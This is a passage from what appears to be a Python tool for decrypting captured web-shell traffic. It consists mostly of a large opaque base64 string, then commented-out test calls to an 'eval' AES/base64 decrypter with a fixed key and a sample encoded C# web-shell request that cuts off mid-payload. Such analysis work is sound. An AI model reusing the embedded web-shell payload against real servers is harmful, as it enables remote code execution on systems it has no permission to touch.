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')
380 | # print(data)
381 | # data = decrypter.decrypt_res_payload(b'11CD6A8758984163CRF8Fju8YJWYsacdj2S9hlrsxeDHV8GSkLM/jS9ONlU=6C37AC826A2A04BC')
382 | # print(data)
383 |
384 | # decrypter = CSHAP_EVAL_AES_BASE64(pass_='pass', key='3c6e0b8a9c15224a')
385 | # data = decrypter.decrypt_req_payload(
386 | # b'pass=eval%28System.Text.Encoding.Default.GetString%28System.Convert.FromBase64String%28HttpUtility.UrlDecode%28%27ICAgICAgICAgICAgICAgIHRyeSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZhciBhcHBjb250ZXh0ID0gSHR0cENvbnRleHQuQ3VycmVudDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYXBwY29udGV4dC5BcHBsaWNhdGlvbi5SZW1vdmUoIiIpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB2YXIga2V5ID0gIjNjNmUwYjhhOWMxNTIyNGEiOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB2YXIgcGFzcyA9ICJrZXkiOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB2YXIgY29va2llTmFtZSA9ICJzZXNzaW9uS2V5IjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmFyIGNvb2tpZVZhbHVlID0gYXBwY29udGV4dC5SZXF1ZXN0LkNvb2tpZXMuR2V0KGNvb2tpZU5hbWUpID09IG51bGwgPyAiIiA6IGFwcGNvbnRleHQuUmVxdWVzdC5Db29raWVzLkdldChjb29raWVOYW1lKS5WYWx1ZTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmFyIG1kNSA9IFN5c3RlbS5CaXRDb252ZXJ0ZXIuVG9TdHJpb